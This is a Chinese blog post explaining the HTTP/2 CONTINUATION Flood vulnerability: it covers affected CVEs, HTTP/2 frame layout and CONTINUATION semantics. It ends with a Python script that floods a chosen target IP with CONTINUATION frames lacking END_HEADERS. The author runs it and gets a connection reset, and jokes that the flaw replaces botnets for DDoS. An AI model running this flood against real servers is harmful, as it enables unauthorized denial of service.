rebbit

网络安全:HTTP/2 CONTINUATION Flood漏洞

今天刷到一篇文章,HTTP / 2 协议被曝安全漏洞,被黑客利用可发起拒绝服务攻击。

心想,这服务器跑的不就是h2吗,该不会也被波及了吧。

抓紧看了一下原文

原文

漏洞描述

HTTP/2协议被披露存在拒绝服务漏洞,该漏洞被称为“HTTP/2 CONTINUATION Flood”,可导致拒绝服务(DoS)攻击,在某些实现中可通过单个TCP连接使web服务器崩溃,目前该漏洞的技术细节已公开披露。

由于某些HTTP/2协议实现中没有适当限制或清理单个数据流中发送的 CONTINUATION 帧的数量,攻击者可通过不设置 END_HEADERS 标志位,向目标服务器发送 CONTINUATION 帧流,从而可能导致内存不足崩溃或CPU资源耗尽而导致服务器中断,造成拒绝服务。

影响范围

已知HTTP/2 CONTINUATION Flood影响多个项目,不同的HTTP/2实现可能会有特定于该实现的独特漏洞及影响,不同HTTP/2实现相对应的部分CVE ID如下:

lEnvoy(CVE-2024-27919、CVE-2024-30255)

lTempesta FW ( CVE-2024-2758 )

lamphp/http ( CVE-2024-2653 )

lGolang(CVE-2023-45288)

lnghttp2(CVE-2024-28182)

lApache HTTP Server ( CVE-2024-27316 )

lApache Traffic Server ( CVE-2024-31309 )

lNode.js(CVE-2024-27983)

值得注意的是,在某些受影响实现中,仅通过单个TCP连接就可能导致web服务器崩溃,且恶意请求可能在HTTP访问日志中不可见,这可能使得检测和分析更加困难。


呦吼,访问日志中不可见,这么牛逼, 那些老板都不用花钱买肉鸡DDoS了,直接连个商场WIFI加一台电脑搞定。

正所谓了解敌人才能更好保护自己,抓紧研究了一下这是什么原理。

HTTP/2 原理

首先要了解HTTP/2 的实现原理,

HTTP2.0
Length
Type | Flags
R | Stream Identifier
Frame Payload

Headers Frame: 帧头
固定的9个字节((24+8+8+1+31)/8=9)呈现,变化的为帧的负载(Frame Payload),负载内容是由帧类型(Type)定义。

Length: 帧长度

无符号的自然数,24个比特表示,仅表示帧负载(Frame Payload)所占用字节数,不包括帧头所占用的9个字节。 默认大小区间为为0~16,384(2^14),一旦超过默认最大值2^14(16384),发送方将不再允许发送,除非接收到接收方定义的SETTINGS_MAX_FRAME_SIZE(一般此值区间为2^14 ~ 2^24)值的通知。

Type帧类型

8个比特表示,定义了帧负载的具体格式和帧的语义,HTTP/2规范定义了10个帧类型,这里不包括实验类型帧和扩展类型帧

Frame TypeCode
DATA0x0
HEADERS0x1
PRIORITY0x2
RST_STREAM0x3
SETTINGS0x4
PUSH_PROMISE0x5
PING0x6
GOAWAY0x7
WINDOW_UPDATE0x8
CONTINUATION0x9

Flags:帧的标志位

8个比特表示,服务于具体帧类型,默认值为0x0。 8个比特可以容纳8个不同的标志,比如,PADDED值为0x8,二进制表示为00001000;END_HEADERS值为0x4,二进制表示为00000100;END_STREAM值为0X1,二进制为00000001。可以同时在一个字节中传达三种标志位,二进制表示为00001101,即0x13。因此,后面的帧结构中,标志位一般会使用8个比特表示,若某位不确定,使用问号?替代,表示此处可能会被设置标志位

R:帧保留比特位

HTTP/2语境下为保留的比特位,固定值为0X0。

Stream Identifier:流标识符

无符号的31比特表示无符号自然数。0x0值表示为帧仅作用于连接,不隶属于单独的流。

关于帧长度,需要稍加关注: - 0 ~ 2^14(16384)为默认约定长度,所有端点都需要遵守 - 2^14 (16,384) ~ 2^24-1(16,777,215)此区间数值,需要接收方设置SETTINGS_MAX_FRAME_SIZE参数单独赋值 - 一端接收到的帧长度超过设定上限或帧太小,需要发送FRAME_SIZE_ERR错误 - 当帧长错误会影响到整个连接状态时,须以连接错误对待之;比如HEADERS,PUSH_PROMISE,CONTINUATION,SETTINGS,以及帧标识符不该为0的帧等,都需要如此处理 - 任一端都没有义务必须使用完一个帧的所有可用空间 - 大帧可能会导致延迟,针对时间敏感的帧,比如RST_STREAM, WINDOW_UPDATE, PRIORITY,需要快速发送出去,以免延迟导致性能等问题

HTTP2的 CONTINUATION 帧

HTTP2的 CONTINUATION 帧的格式如下:

字段列表:

  • Header Block Fragment,用于协助HEADERS/PUSH_PROMISE等单帧无法包含完整的报头剩余部分数据。

注意事项:

  • 一个HEADERS/PUSH_PROMISE帧后面会跟随零个或多个CONTINUATION,只要上一个帧没有设置END_HEADERS标志位,就不算一个帧完整数据的结束。
  • 接收端处理此种情况,从开始的HEADERS/PUSH_PROMISE帧到最后一个包含有END_HEADERS标志位帧结束,合并的数据才算是一份完整数据拷贝
  • 在HEADERS/PUSH_PROMISE(没有END_HEADERS标志位)和CONTINUATION帧中间,是不能够掺杂其它帧的,否则需要报PROTOCOL_ERROR错误

标志位: * END_HEADERS(0X4):表示报头块的最后一个帧,否则后面还会跟随CONTINUATION帧。


准备

目标明确,我们只需要手动发送HTTP2的 CONTINUATION 帧就行了。

打开python

import socket

# 目标IP地址和端口
target_ip = "1.1.1.1"
target_port = 80

# 创建一个socket连接
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

# HTTP/2的magic字符串,用于协议升级
http2_magic = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'

# 发送magic字符串
sock.send(http2_magic)

# 构建HTTP/2 CONTINUATION帧的头部
# 帧长度(3字节), 类型(1字节, 0x9表示CONTINUATION), 标志(1字节), 流标识符(4字节)
frame_header = b'\x00\x00\x00' + b'\x09' + b'\x00' + b'\x00\x00\x00\x01'

# 构建一个空的CONTINUATION帧的有效载荷
frame_payload = b''

# 发送多个CONTINUATION帧
for i in range(300000): 
    print(i)
    # 最后一个帧设置END_HEADERS标志
    # if i == 299999:
    #     frame_header = frame_header[:4] + b'\x04' + frame_header[5:]
    # 发送帧
    sock.send(frame_header + frame_payload)

# 关闭socket连接
sock.close()

把 target_ip 改成想要测试的ip

运行

然后

Traceback (most recent call last):
  File "e:\project\python\http.py", line 31, in <module>
    sock.send(frame_header + frame_payload)
ConnectionResetError: [WinError 10054] 远程主机强迫关闭了一个现有的连接。

整活失败,测试结束!

© 版权声明
分享是一种美德,转载请保留原链接
THE END

文章不错?点个赞呗
点赞 0 分享

发表评论

您的电子邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部